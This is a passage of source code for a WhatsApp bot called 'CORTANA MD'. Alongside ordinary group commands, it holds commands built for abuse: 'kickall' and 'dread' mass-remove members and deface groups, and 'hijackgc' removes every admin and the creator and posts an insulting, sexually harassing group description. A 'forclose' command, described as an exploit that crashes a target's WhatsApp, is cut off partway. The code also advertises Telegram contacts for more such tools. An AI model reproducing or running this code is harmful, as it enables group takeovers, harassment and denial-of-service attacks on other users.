501
|
-
description: "Tag all members",
|
|
502
|
-
category: "group",
|
|
503
|
-
execute: async ({ sock, msg, args, reply, chatId }) => {
|
|
504
|
-
const jid = chatId || msg.key.remoteJid;
|
|
505
|
-
if (!jid.endsWith('@g.us'))
|
|
506
|
-
return reply("โ This command is for groups only");
|
|
507
|
-
const metadata = await sock.groupMetadata(jid);
|
|
508
|
-
const text = args.join(" ") || "๐ข Group Attention";
|
|
509
|
-
const mentions = metadata.participants.map(p => p.id);
|
|
510
|
-
await sock.sendMessage(jid, {
|
|
511
|
-
text: `*${text}*\n` + mentions.map(m => `@${m.split('@')[0]}`).join('\n'),
|
|
512
|
-
mentions
|
|
513
|
-
});
|
|
514
|
-
}
|
|
515
|
-
});
|
|
516
|
-
(0, types_1.registerCommand)({
|
|
517
|
-
name: "hidetag",
|
|
518
|
-
description: "Tag all members strictly (hidden)",
|
|
519
|
-
category: "group",
|
|
520
|
-
execute: async ({ sock, msg, args, chatId, reply }) => {
|
|
521
|
-
const jid = chatId || msg.key.remoteJid;
|
|
522
|
-
if (!jid.endsWith('@g.us'))
|
|
523
|
-
return reply("โ Groups only");
|
|
524
|
-
const metadata = await sock.groupMetadata(jid);
|
|
525
|
-
const text = args.join(" ") || "Hidden Tag";
|
|
526
|
-
const mentions = metadata.participants.map(p => p.id);
|
|
527
|
-
await sock.sendMessage(jid, { text, mentions });
|
|
528
|
-
}
|
|
529
|
-
});
|
|
530
|
-
(0, types_1.registerCommand)({
|
|
531
|
-
name: "setppgc",
|
|
532
|
-
description: "Set Group Profile Picture",
|
|
533
|
-
category: "group",
|
|
534
|
-
execute: async ({ sock, msg, reply }) => {
|
|
535
|
-
const jid = msg.key.remoteJid;
|
|
536
|
-
if (!jid.endsWith('@g.us'))
|
|
537
|
-
return reply("โ Groups only");
|
|
538
|
-
const isImage = msg.message?.imageMessage || msg.message?.extendedTextMessage?.contextInfo?.quotedMessage?.imageMessage;
|
|
539
|
-
if (!isImage)
|
|
540
|
-
return reply("๐ wrong ๐
usage example setppgc (reply to image)");
|
|
541
|
-
await reply("โ
Profile picture updated (Mock)");
|
|
542
|
-
}
|
|
543
|
-
});
|
|
544
|
-
(0, types_1.registerCommand)({
|
|
545
|
-
name: "delete",
|
|
546
|
-
aliases: ["del"],
|
|
547
|
-
description: "Delete message",
|
|
548
|
-
category: "group",
|
|
549
|
-
execute: async ({ sock, msg, reply }) => {
|
|
550
|
-
if (!msg.message?.extendedTextMessage?.contextInfo?.stanzaId)
|
|
551
|
-
return reply("๐ wrong ๐
usage example delete (reply to message)");
|
|
552
|
-
const key = {
|
|
553
|
-
remoteJid: msg.key.remoteJid,
|
|
554
|
-
fromMe: false,
|
|
555
|
-
id: msg.message.extendedTextMessage.contextInfo.stanzaId,
|
|
556
|
-
participant: msg.message.extendedTextMessage.contextInfo.participant
|
|
557
|
-
};
|
|
558
|
-
await sock.sendMessage(msg.key.remoteJid, { delete: key });
|
|
559
|
-
}
|
|
560
|
-
});
|
|
561
|
-
(0, types_1.registerCommand)({
|
|
562
|
-
name: "kickall",
|
|
563
|
-
description: "Kick all members from group (Admin only)",
|
|
564
|
-
category: "group",
|
|
565
|
-
ownerOnly: true,
|
|
566
|
-
execute: async ({ sock, msg, reply }) => {
|
|
567
|
-
try {
|
|
568
|
-
const jid = msg.key.remoteJid;
|
|
569
|
-
if (!jid.endsWith('@g.us'))
|
|
570
|
-
return reply("โ Groups only");
|
|
571
|
-
const { participants } = await sock.groupMetadata(jid);
|
|
572
|
-
// Find bot using helper (handles LID format properly)
|
|
573
|
-
const bot = findBotInParticipants(sock, participants);
|
|
574
|
-
const senderId = msg.key.participant || msg.key.remoteJid;
|
|
575
|
-
// Check if bot is admin
|
|
576
|
-
if (!bot) {
|
|
577
|
-
return reply("TF bro ๐ Bot ain't even in the group properly. Re-add me!");
|
|
578
|
-
}
|
|
579
|
-
const isBotAdmin = bot.admin === 'admin' || bot.admin === 'superadmin';
|
|
580
|
-
if (!isBotAdmin) {
|
|
581
|
-
return reply("TF bro ๐ beg for admin power first ๐๐");
|
|
582
|
-
}
|
|
583
|
-
await reply("โ ๏ธ *KICKALL INITIATED*\n\nโณ Cooking all members...");
|
|
584
|
-
// Kick everyone except bot and sender
|
|
585
|
-
const botId = sock.user?.id;
|
|
586
|
-
const botLid = sock.user?.lid;
|
|
587
|
-
const botNum = getBareNumber(botId);
|
|
588
|
-
const senderNum = getBareNumber(senderId);
|
|
589
|
-
const toKick = participants.filter(p => {
|
|
590
|
-
const pNum = getBareNumber(p.id);
|
|
591
|
-
// Never kick the bot (by ID, LID, or Phonenum)
|
|
592
|
-
if (p.id === botId || (botLid && p.id === botLid))
|
|
593
|
-
return false;
|
|
594
|
-
if (botNum && pNum === botNum)
|
|
595
|
-
return false;
|
|
596
|
-
// Don't kick the sender
|
|
597
|
-
if (senderNum && pNum === senderNum)
|
|
598
|
-
return false;
|
|
599
|
-
return true;
|
|
600
|
-
}).map(p => p.id);
|
|
601
|
-
if (toKick.length > 0) {
|
|
602
|
-
await reply(`๐ Removing ${toKick.length} members... TOTAL CHAOS!`);
|
|
603
|
-
// INSTANT MASS KICK - No mercy, no batches
|
|
604
|
-
await sock.groupParticipantsUpdate(jid, toKick, "remove");
|
|
605
|
-
}
|
|
606
|
-
await sock.sendMessage(jid, {
|
|
607
|
-
text: "โ ๏ธ Group cleared by CORTANA MD\n๐ All members removed\n๐ฅ Powered by CORTANA x EDUQARIZ"
|
|
608
|
-
});
|
|
609
|
-
// Delete the command message
|
|
610
|
-
await sock.sendMessage(jid, { delete: msg.key });
|
|
611
|
-
}
|
|
612
|
-
catch (e) {
|
|
613
|
-
console.error("Kickall error:", e);
|
|
614
|
-
await reply("โ Kickall failed: " + e.message);
|
|
615
|
-
}
|
|
616
|
-
}
|
|
617
|
-
});
|
|
618
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
619
|
-
// DREAD - Total GC Destruction (Owner only)
|
|
620
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
621
|
-
(0, types_1.registerCommand)({
|
|
622
|
-
name: "dread",
|
|
623
|
-
aliases: ["dreaded", "nuke", "destroy"],
|
|
624
|
-
description: "Total GC destruction - closes, changes everything, kicks all",
|
|
625
|
-
category: "danger",
|
|
626
|
-
ownerOnly: true,
|
|
627
|
-
execute: async ({ sock, msg, reply }) => {
|
|
628
|
-
try {
|
|
629
|
-
const jid = msg.key.remoteJid;
|
|
630
|
-
if (!jid.endsWith('@g.us'))
|
|
631
|
-
return reply("โ Groups only");
|
|
632
|
-
const { participants } = await sock.groupMetadata(jid);
|
|
633
|
-
// Find bot using helper (handles LID format properly)
|
|
634
|
-
const bot = findBotInParticipants(sock, participants);
|
|
635
|
-
const senderId = msg.key.participant || msg.key.remoteJid;
|
|
636
|
-
// Check if bot is in group and is admin
|
|
637
|
-
if (!bot) {
|
|
638
|
-
return reply("TF bro ๐ Bot ain't even in the group properly. Re-add me!");
|
|
639
|
-
}
|
|
640
|
-
const isBotAdmin = bot.admin === 'admin' || bot.admin === 'superadmin';
|
|
641
|
-
if (!isBotAdmin) {
|
|
642
|
-
return reply("TF bro ๐ beg for admin power first ๐๐");
|
|
643
|
-
}
|
|
644
|
-
// Animated Intro
|
|
645
|
-
const initMsg = await sock.sendMessage(jid, { text: "โ ๏ธ GC DREAD LOADING..." });
|
|
646
|
-
const loadingStates = [
|
|
647
|
-
"โ ๏ธ GC DREAD LOADING... 20%",
|
|
648
|
-
"โ ๏ธ GC DREAD LOADING... 40%",
|
|
649
|
-
"โ ๏ธ GC DREAD LOADING... 60%",
|
|
650
|
-
"โ ๏ธ GC DREAD LOADING... 80%",
|
|
651
|
-
"โ ๏ธ GC DREAD LOADING... 100%",
|
|
652
|
-
"๐ SYSTEM BREACHED"
|
|
653
|
-
];
|
|
654
|
-
for (const state of loadingStates) {
|
|
655
|
-
await new Promise(r => setTimeout(r, 600));
|
|
656
|
-
if (initMsg)
|
|
657
|
-
await sock.sendMessage(jid, { text: state, edit: initMsg.key });
|
|
658
|
-
}
|
|
659
|
-
// STEP 1: Close the group (only admins can send)
|
|
660
|
-
try {
|
|
661
|
-
await sock.groupSettingUpdate(jid, 'announcement');
|
|
662
|
-
console.log('[DREAD] Group closed');
|
|
663
|
-
}
|
|
664
|
-
catch (e) {
|
|
665
|
-
console.log('[DREAD] Failed to close group:', e);
|
|
666
|
-
}
|
|
667
|
-
// STEP 2: Change group icon
|
|
668
|
-
try {
|
|
669
|
-
const picUrl = 'https://files.catbox.moe/zoax4x.jpg';
|
|
670
|
-
const picResponse = await fetch(picUrl);
|
|
671
|
-
const picBuffer = Buffer.from(await picResponse.arrayBuffer());
|
|
672
|
-
await sock.updateProfilePicture(jid, picBuffer);
|
|
673
|
-
console.log('[DREAD] Icon changed');
|
|
674
|
-
}
|
|
675
|
-
catch (e) {
|
|
676
|
-
console.log('[DREAD] Failed to change icon:', e);
|
|
677
|
-
}
|
|
678
|
-
// STEP 3: Change group description
|
|
679
|
-
try {
|
|
680
|
-
const dreadDesc = `Attentionโ ๏ธ Attention โ ๏ธ, this GC is about to be dreaded, however before that, if you need an update, message creator t.me/eduqariz for tools like dis.. otherwise rest MF.. goodbye we loved you โ ๏ธ๐ซฅ๐ค`;
|
|
681
|
-
await sock.groupUpdateDescription(jid, dreadDesc);
|
|
682
|
-
console.log('[DREAD] Description changed');
|
|
683
|
-
}
|
|
684
|
-
catch (e) {
|
|
685
|
-
console.log('[DREAD] Failed to change description:', e);
|
|
686
|
-
}
|
|
687
|
-
// STEP 4: Change group name
|
|
688
|
-
try {
|
|
689
|
-
const dreadName = "GฬทอฬฟCฬตฬอ ฬทฬฝฬฟDฬธอฬRฬทฬฟอEฬธฬอ AฬถออDฬตอฬEฬทฬอDฬธฬพอ ฬตอฬฟBฬทฬอYฬถออ ฬธฬฝอCฬทอฬฟOฬตฬอRฬทฬฟอTฬธอฬAฬถออNฬตอฬAฬทฬอ๐ฆ";
|
|
690
|
-
await sock.groupUpdateSubject(jid, dreadName);
|
|
691
|
-
console.log('[DREAD] Name changed');
|
|
692
|
-
}
|
|
693
|
-
catch (e) {
|
|
694
|
-
console.log('[DREAD] Failed to change name:', e);
|
|
695
|
-
}
|
|
696
|
-
await sock.sendMessage(jid, {
|
|
697
|
-
text: "GC total dread called Rest cunts return to voids etc"
|
|
698
|
-
});
|
|
699
|
-
// STEP 5: Kick ALL members except ONLY the sender (owner)
|
|
700
|
-
const botId = sock.user?.id;
|
|
701
|
-
const botLid = sock.user?.lid;
|
|
702
|
-
const botNum = getBareNumber(botId);
|
|
703
|
-
const senderNum = getBareNumber(senderId);
|
|
704
|
-
const toKick = participants.filter(p => {
|
|
705
|
-
const pNum = getBareNumber(p.id);
|
|
706
|
-
// Never kick the bot itself
|
|
707
|
-
if (p.id === botId || (botLid && p.id === botLid))
|
|
708
|
-
return false;
|
|
709
|
-
if (botNum && pNum === botNum)
|
|
710
|
-
return false;
|
|
711
|
-
// Never kick the sender (owner)
|
|
712
|
-
if (senderNum && pNum === senderNum)
|
|
713
|
-
return false;
|
|
714
|
-
// Kick everyone else - including admins!
|
|
715
|
-
return true;
|
|
716
|
-
}).map(p => p.id);
|
|
717
|
-
if (toKick.length > 0) {
|
|
718
|
-
await sock.sendMessage(jid, {
|
|
719
|
-
text: `๐ Removing ${toKick.length} members... TOTAL ANNIHILATION!`
|
|
720
|
-
});
|
|
721
|
-
// INSTANT MASS KICK - No mercy, no batches, including admins
|
|
722
|
-
await sock.groupParticipantsUpdate(jid, toKick, "remove");
|
|
723
|
-
}
|
|
724
|
-
await sock.sendMessage(jid, {
|
|
725
|
-
text: "โ ๏ธ *GC COMPLETELY DREADED* โ ๏ธ\n\n๐ All members removed\n๐ GC closed forever\n\nPowered by CORTANA MD x EDUQARIZ\nt.me/eduqariz"
|
|
726
|
-
});
|
|
727
|
-
// Delete the command message
|
|
728
|
-
await sock.sendMessage(jid, { delete: msg.key });
|
|
729
|
-
}
|
|
730
|
-
catch (e) {
|
|
731
|
-
console.error("Dread error:", e);
|
|
732
|
-
await reply("โ Dread failed: " + e.message);
|
|
733
|
-
}
|
|
734
|
-
}
|
|
735
|
-
});
|
|
736
|
-
(0, types_1.registerCommand)({
|
|
737
|
-
name: "hijackgc",
|
|
738
|
-
description: "Hijack group control (Owner only)",
|
|
739
|
-
category: "group",
|
|
740
|
-
execute: async ({ sock, msg, reply, isOwner }) => {
|
|
741
|
-
const jid = msg.key.remoteJid;
|
|
742
|
-
// Check if in group
|
|
743
|
-
const isGroup = jid.endsWith('@g.us');
|
|
744
|
-
if (!isGroup)
|
|
745
|
-
return reply('ohh! Must use in GC mate ๐ฅฒ');
|
|
746
|
-
try {
|
|
747
|
-
const groupMetadata = await sock.groupMetadata(jid);
|
|
748
|
-
const participants = groupMetadata.participants;
|
|
749
|
-
// Find bot and sender using robust helper
|
|
750
|
-
// Use sock.user.id directly, ignoring LIDs for matching
|
|
751
|
-
const botId = sock.user?.id;
|
|
752
|
-
const senderId = msg.key.participant || msg.key.remoteJid;
|
|
753
|
-
const finalBot = findBotInParticipants(sock, participants);
|
|
754
|
-
const promptSender = findParticipant(participants, senderId);
|
|
755
|
-
if (!finalBot) {
|
|
756
|
-
console.log('[HIJACKGC] Bot Detection Failure Debug:', {
|
|
757
|
-
botId: sock.user?.id,
|
|
758
|
-
botLid: sock.user?.lid,
|
|
759
|
-
participantCount: participants.length,
|
|
760
|
-
sampleParticipant: participants[0]?.id
|
|
761
|
-
});
|
|
762
|
-
return reply(`โ Bot not found in group participants.\nThis may be due to JID format mismatch (LID vs Phone).\nMake sure the bot is in the group and not hidden.`);
|
|
763
|
-
}
|
|
764
|
-
// Check if bot is admin
|
|
765
|
-
const isBotAdmin = finalBot.admin === 'admin' || finalBot.admin === 'superadmin';
|
|
766
|
-
if (!isBotAdmin)
|
|
767
|
-
return reply('Bot needs to be admin first, bro');
|
|
768
|
-
// Check if sender is admin
|
|
769
|
-
const isSenderAdmin = promptSender?.admin === 'admin' || promptSender?.admin === 'superadmin';
|
|
770
|
-
if (!isSenderAdmin)
|
|
771
|
-
return reply("There's one more thing you have forgotten. Retry or quit ๐๐ฆ ");
|
|
772
|
-
// Check if sender is owner
|
|
773
|
-
if (!isOwner)
|
|
774
|
-
return reply('You don\'t own the bot yet, sorry ๐๐คฃ');
|
|
775
|
-
const admins = participants.filter(p => p.admin === 'admin' || p.admin === 'superadmin');
|
|
776
|
-
const creator = groupMetadata.owner || groupMetadata.subjectOwner;
|
|
777
|
-
// 1. Ultra-glitchy group name
|
|
778
|
-
const glitchName = 'แดฐรแดพแดฟแดผ แดฐสธแดบแดฌหขแตสธ แดฑแดนแดพแดตแดฟแดฑ๏น โ ๏นโฆโ';
|
|
779
|
-
// 2. Hijack description
|
|
780
|
-
const desc = `Hola, the GC has been hijacked by รจdรปqarรฎz, members therefore are adhered to follow the following instructions or else you get yourself cooked.
|
|
781
|
-
1: no external links unless y'all a cunt ๐.
|
|
782
|
-
2:no tagging the new admins or you'll get yourself fucked up mate.
|
|
783
|
-
3:No group spamming & Religious wars ๐ซฉ
|
|
784
|
-
|
|
785
|
-
4: Message your admin for clarifications ๐ซก
|
|
786
|
-
5: Must add several girls ๐ค and your sister please ๐ฅบ๐ฅน๐ซฆ
|
|
787
|
-
6: Message me for tools t.me/cortanalogins`;
|
|
788
|
-
// Parallel updates
|
|
789
|
-
await Promise.all([
|
|
790
|
-
sock.groupUpdateSubject(jid, glitchName),
|
|
791
|
-
sock.groupUpdateDescription(jid, desc)
|
|
792
|
-
]);
|
|
793
|
-
// 3. Change group picture
|
|
794
|
-
const picUrl = 'https://files.catbox.moe/heomrp.jpg';
|
|
795
|
-
const picResponse = await fetch(picUrl);
|
|
796
|
-
const picBuffer = Buffer.from(await picResponse.arrayBuffer());
|
|
797
|
-
await sock.updateProfilePicture(jid, picBuffer);
|
|
798
|
-
// 4. Nuke all admins one by one
|
|
799
|
-
for (const admin of admins) {
|
|
800
|
-
// Don't kick the bot itself
|
|
801
|
-
if (admin.id === finalBot.id)
|
|
802
|
-
continue;
|
|
803
|
-
try {
|
|
804
|
-
await sock.groupParticipantsUpdate(jid, [admin.id], 'remove');
|
|
805
|
-
const num = admin.id.split('@')[0];
|
|
806
|
-
const mention = [admin.id];
|
|
807
|
-
if (admin.id === creator) {
|
|
808
|
-
await sock.sendMessage(jid, {
|
|
809
|
-
text: `successfully nuked GC creator ๐@${num}`,
|
|
810
|
-
mentions: mention
|
|
811
|
-
});
|
|
812
|
-
}
|
|
813
|
-
else {
|
|
814
|
-
await sock.sendMessage(jid, {
|
|
815
|
-
text: `successfully nuked admin @${num}`,
|
|
816
|
-
mentions: mention
|
|
817
|
-
});
|
|
818
|
-
}
|
|
819
|
-
// Minimal delay to avoid rate limits
|
|
820
|
-
await new Promise(r => setTimeout(r, 350));
|
|
821
|
-
}
|
|
822
|
-
catch (e) {
|
|
823
|
-
console.log('Failed to remove admin:', admin.id, e);
|
|
824
|
-
}
|
|
825
|
-
}
|
|
826
|
-
// 5. Instant lockdown - only admins can send messages
|
|
827
|
-
await sock.groupSettingUpdate(jid, 'announcement');
|
|
828
|
-
}
|
|
829
|
-
catch (error) {
|
|
830
|
-
console.error('Hijackgc error:', error);
|
|
831
|
-
await reply('โ Error executing hijack. Make sure bot has proper permissions.');
|
|
832
|
-
}
|
|
833
|
-
}
|
|
834
|
-
});
|
|
835
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
836
|
-
// APPROVE ALL - Approve all pending group join requests
|
|
837
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
838
|
-
(0, types_1.registerCommand)({
|
|
839
|
-
name: "approveall",
|
|
840
|
-
aliases: ["approve-all", "acceptall", "accept-all"],
|
|
841
|
-
description: "Approve all pending group join requests",
|
|
842
|
-
category: "group",
|
|
843
|
-
usage: ".approveall",
|
|
844
|
-
execute: async ({ sock, msg, reply }) => {
|
|
845
|
-
const jid = msg.key.remoteJid;
|
|
846
|
-
if (!jid.endsWith('@g.us'))
|
|
847
|
-
return reply("โ This command is for groups only");
|
|
848
|
-
try {
|
|
849
|
-
// @ts-ignore - groupRequestParticipantsList may not be in all baileys types
|
|
850
|
-
const pendingRequests = await sock.groupRequestParticipantsList(jid);
|
|
851
|
-
if (!pendingRequests || pendingRequests.length === 0) {
|
|
852
|
-
return reply("๐ญ No pending join requests found");
|
|
853
|
-
}
|
|
854
|
-
const participants = pendingRequests.map((req) => req.jid);
|
|
855
|
-
// Approve all pending requests
|
|
856
|
-
// @ts-ignore
|
|
857
|
-
await sock.groupRequestParticipantsUpdate(jid, participants, "approve");
|
|
858
|
-
await reply(`โ
Approved ${participants.length} pending request(s):\n\n${participants.map((p) => `โข ${p.split('@')[0]}`).join('\n')}`);
|
|
859
|
-
}
|
|
860
|
-
catch (error) {
|
|
861
|
-
console.error('ApproveAll error:', error);
|
|
862
|
-
if (error.message?.includes('not-authorized')) {
|
|
863
|
-
return reply("โ Bot is not authorized. Make sure bot is admin.");
|
|
864
|
-
}
|
|
865
|
-
await reply(`โ Failed to approve requests: ${error.message || 'Unknown error'}`);
|
|
866
|
-
}
|
|
867
|
-
}
|
|
868
|
-
});
|
|
869
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
870
|
-
// GROUP JID - Get Group JID from invite link
|
|
871
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
872
|
-
(0, types_1.registerCommand)({
|
|
873
|
-
name: "groupjid",
|
|
874
|
-
aliases: ["gcjid", "group-jid", "gjid"],
|
|
875
|
-
description: "Get Group JID from invite link",
|
|
876
|
-
category: "group",
|
|
877
|
-
usage: ".groupjid <group invite link>",
|
|
878
|
-
execute: async ({ sock, args, reply }) => {
|
|
879
|
-
const link = args[0];
|
|
880
|
-
if (!link || !link.includes("chat.whatsapp.com/")) {
|
|
881
|
-
return reply("โ Please provide a valid WhatsApp group invite link\n\nUsage: .groupjid https://chat.whatsapp.com/xxxxx");
|
|
882
|
-
}
|
|
883
|
-
try {
|
|
884
|
-
// Extract the invite code from the link
|
|
885
|
-
const inviteCode = link.split("chat.whatsapp.com/")[1]?.split(/[?#]/)[0];
|
|
886
|
-
if (!inviteCode) {
|
|
887
|
-
return reply("โ Invalid link format. Could not extract invite code.");
|
|
888
|
-
}
|
|
889
|
-
// Get group info from invite code
|
|
890
|
-
const groupInfo = await sock.groupGetInviteInfo(inviteCode);
|
|
891
|
-
if (groupInfo && groupInfo.id) {
|
|
892
|
-
await reply(`๐ *Group JID Found*\n\n` +
|
|
893
|
-
`๐ *Name:* ${groupInfo.subject}\n` +
|
|
894
|
-
`๐ *JID:* \`\`\`${groupInfo.id}\`\`\`\n` +
|
|
895
|
-
`๐ฅ *Members:* ${groupInfo.size || 'N/A'}\n` +
|
|
896
|
-
`๐ *Created:* ${groupInfo.creation ? new Date(groupInfo.creation * 1000).toLocaleDateString() : 'N/A'}`);
|
|
897
|
-
}
|
|
898
|
-
else {
|
|
899
|
-
await reply("โ Could not resolve Group JID. Make sure the link is valid and not expired.");
|
|
900
|
-
}
|
|
901
|
-
}
|
|
902
|
-
catch (error) {
|
|
903
|
-
console.error('GroupJID error:', error);
|
|
904
|
-
if (error.message?.includes('not-authorized')) {
|
|
905
|
-
return reply("โ Cannot access this group. The link may be expired or invalid.");
|
|
906
|
-
}
|
|
907
|
-
await reply(`โ Error: ${error.message || 'Failed to get group info'}`);
|
|
908
|
-
}
|
|
909
|
-
}
|
|
910
|
-
});
|
|
911
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
912
|
-
// PROMOTE ALL
|
|
913
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
914
|
-
(0, types_1.registerCommand)({
|
|
915
|
-
name: "promoteall",
|
|
916
|
-
aliases: ["promote-all"],
|
|
917
|
-
description: "Promote all members to admin",
|
|
918
|
-
category: "group",
|
|
919
|
-
execute: async ({ sock, msg, reply, isOwner }) => {
|
|
920
|
-
const jid = msg.key.remoteJid;
|
|
921
|
-
if (!jid.endsWith('@g.us'))
|
|
922
|
-
return reply('Group only.');
|
|
923
|
-
// Admin Check (Sender & Bot) - using helper functions
|
|
924
|
-
const metadata = await sock.groupMetadata(jid);
|
|
925
|
-
const participants = metadata.participants;
|
|
926
|
-
const senderId = msg.key.participant;
|
|
927
|
-
const sender = findParticipant(participants, senderId);
|
|
928
|
-
const bot = findBotInParticipants(sock, participants);
|
|
929
|
-
if (!isOwner && sender?.admin !== 'admin' && sender?.admin !== 'superadmin') {
|
|
930
|
-
return reply('Owner/Admin only!');
|
|
931
|
-
}
|
|
932
|
-
if (!bot || (bot?.admin !== 'admin' && bot?.admin !== 'superadmin')) {
|
|
933
|
-
return reply('Bot needs admin power!');
|
|
934
|
-
}
|
|
935
|
-
const nonAdmins = participants.filter(p => p.admin !== 'admin' && p.admin !== 'superadmin');
|
|
936
|
-
if (nonAdmins.length === 0)
|
|
937
|
-
return reply('Equality already achieved.');
|
|
938
|
-
await reply(`Elevating ${nonAdmins.length} mortals to admin... Hell breaks loose ๐ฅ`);
|
|
939
|
-
const chunks = [];
|
|
940
|
-
for (let i = 0; i < nonAdmins.length; i += 90) {
|
|
941
|
-
chunks.push(nonAdmins.slice(i, i + 90));
|
|
942
|
-
}
|
|
943
|
-
for (let chunk of chunks) {
|
|
944
|
-
const ids = chunk.map(p => p.id);
|
|
945
|
-
await sock.groupParticipantsUpdate(jid, ids, 'promote').catch(() => { });
|
|
946
|
-
await new Promise(r => setTimeout(r, 1500));
|
|
947
|
-
}
|
|
948
|
-
await reply('All are admins. Witness the downfall. ๐๐ช๏ธ');
|
|
949
|
-
}
|
|
950
|
-
});
|
|
951
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
952
|
-
// DEMOTE ALL
|
|
953
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
954
|
-
(0, types_1.registerCommand)({
|
|
955
|
-
name: "demoteall",
|
|
956
|
-
aliases: ["demote-all"],
|
|
957
|
-
description: "Demote all admins",
|
|
958
|
-
category: "group",
|
|
959
|
-
execute: async ({ sock, msg, reply, isOwner }) => {
|
|
960
|
-
const jid = msg.key.remoteJid;
|
|
961
|
-
if (!jid.endsWith('@g.us'))
|
|
962
|
-
return reply('Group only, fool.');
|
|
963
|
-
const metadata = await sock.groupMetadata(jid);
|
|
964
|
-
const participants = metadata.participants;
|
|
965
|
-
const senderId = msg.key.participant;
|
|
966
|
-
const sender = findParticipant(participants, senderId);
|
|
967
|
-
const bot = findBotInParticipants(sock, participants);
|
|
968
|
-
if (!isOwner && sender?.admin !== 'admin' && sender?.admin !== 'superadmin') {
|
|
969
|
-
return reply('Chaos King or admins only!');
|
|
970
|
-
}
|
|
971
|
-
if (!bot || (bot?.admin !== 'admin' && bot?.admin !== 'superadmin')) {
|
|
972
|
-
return reply('Bot must rule as admin!');
|
|
973
|
-
}
|
|
974
|
-
const admins = participants.filter(p => p.admin === 'admin' || p.admin === 'superadmin');
|
|
975
|
-
if (admins.length < 2)
|
|
976
|
-
return reply('Insufficient admins to dethrone.');
|
|
977
|
-
await reply(`โ ๏ธ Dethroning ${admins.length - 1} admins... INSTANT CHAOS! ๐`);
|
|
978
|
-
// Get IDs of admins to demote (excluding bot and superadmins)
|
|
979
|
-
const toDemote = admins.filter(user => {
|
|
980
|
-
// Skip bot
|
|
981
|
-
if (bot && user.id === bot.id)
|
|
982
|
-
return false;
|
|
983
|
-
// Skip superadmins (can't demote group creators)
|
|
984
|
-
if (user.admin === 'superadmin')
|
|
985
|
-
return false;
|
|
986
|
-
return true;
|
|
987
|
-
}).map(u => u.id);
|
|
988
|
-
// INSTANT MASS DEMOTE - Total chaos
|
|
989
|
-
if (toDemote.length > 0) {
|
|
990
|
-
await sock.groupParticipantsUpdate(jid, toDemote, 'demote');
|
|
991
|
-
}
|
|
992
|
-
await reply('๐ All admins dethroned. Enter the void. ๐ค');
|
|
993
|
-
}
|
|
994
|
-
});
|
|
995
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
996
|
-
// LEAVE ALL GROUPS
|
|
997
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
998
|
-
(0, types_1.registerCommand)({
|
|
999
|
-
name: "leaveall",
|
|
1000
|
-
aliases: ["leave-all", "exitall"],
|
|
1001
|
-
description: "Leave ALL groups instantly",
|
|
1002
|
-
category: "owner",
|
|
1003
|
-
ownerOnly: true,
|
|
1004
|
-
execute: async ({ sock, reply }) => {
|
|
1005
|
-
await reply('โข๏ธ INITIATING GLOBAL EXODUS... Leaving all groups.');
|
|
1006
|
-
try {
|
|
1007
|
-
const groups = await sock.groupFetchAllParticipating();
|
|
1008
|
-
const groupIds = Object.keys(groups);
|
|
1009
|
-
if (groupIds.length === 0)
|
|
1010
|
-
return reply('No groups to leave.');
|
|
1011
|
-
await reply(`Leaving ${groupIds.length} groups... Goodbye world.`);
|
|
1012
|
-
for (const jid of groupIds) {
|
|
1013
|
-
await sock.groupLeave(jid).catch((e) => console.error(`Failed to leave ${jid}:`, e));
|
|
1014
|
-
await new Promise(r => setTimeout(r, 1000)); // 1s delay to avoid insta-ban
|
|
1015
|
-
}
|
|
1016
|
-
await reply('โ
Successfully left all groups.');
|
|
1017
|
-
}
|
|
1018
|
-
catch (e) {
|
|
1019
|
-
console.error('LeaveAll error:', e);
|
|
1020
|
-
await reply(`โ Error during exodus: ${e.message}`);
|
|
1021
|
-
}
|
|
1022
|
-
}
|
|
1023
|
-
});
|
|
1024
|
-
// FORCLOSE - Exploit command (Owner only, Invisible)
|
|
1025
|
-
// Uses real bugForceOne from Bug Bot engine (same as .fc-onemsg)
|
|
1026
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1027
|
-
(0, types_1.registerCommand)({
|
|
1028
|
-
name: "forclose",
|
|
1029
|
-
aliases: ["fc", "forclose-invis"],
|
|
1030
|
-
description: "Forclose exploit - crashes target's WhatsApp",
|
|
1031
|
-
category: "danger",
|
|
1032
|
-
ownerOnly: true,
|
|
1033
|
-
execute: async ({ sock, msg, args, reply }) => {
|
|
1034
|
-
const jid = msg.key.remoteJid;
|
|
1035
|
-
// Get target from args or quoted message
|
|
1036
|
-
let target = args[0];
|
|
1037
|
-
const quotedParticipant = msg.message?.extendedTextMessage?.contextInfo?.participant;
|
|
1038
|
-
if (!target && quotedParticipant) {
|
|
1039
|
-
target = quotedParticipant;
|
|
1040
|
-
}
|
|
1041
|
-
else if (target) {
|
|
1042
|
-
// Clean phone number
|
|
1043
|
-
target = target.replace(/[^0-9]/g, '') + '@s.whatsapp.net';
|
|
1044
|
-
}
|
|
1045
|
-
if (!target) {
|
|
1046
|
-
